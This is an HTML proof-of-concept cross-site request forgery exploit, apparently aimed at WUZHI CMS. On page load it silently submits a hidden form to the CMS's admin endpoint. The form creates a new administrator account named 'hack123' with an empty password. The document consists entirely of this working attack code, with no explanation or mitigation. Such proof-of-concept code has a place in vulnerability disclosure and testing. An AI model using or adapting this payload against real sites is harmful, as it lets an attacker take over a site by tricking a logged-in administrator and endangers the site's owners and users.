``` html
<html><body>
    <script type="text/javascript">
    function post(url,fields)
    {
    var p = document.createElement("form");
    p.action = url;
    p.innerHTML = fields;
    p.target = "_self";
    p.method = "post";
    document.body.appendChild(p);
    p.submit();
    }
    function csrf_hack()
    {
    var fields;
    
    fields += "<input type='hidden' name='form[role][]' value='1' />";
    fields += "<input type='hidden' name='form[username]' value='hack123' />"; 
    fields += "<input type='hidden' name='form[password]' value='' />"; 
    fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />"; 
    
    var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=提交";
    post(url,fields);
    }
    window.onload = function() { csrf_hack();}
    </script>
    </body></html>
```
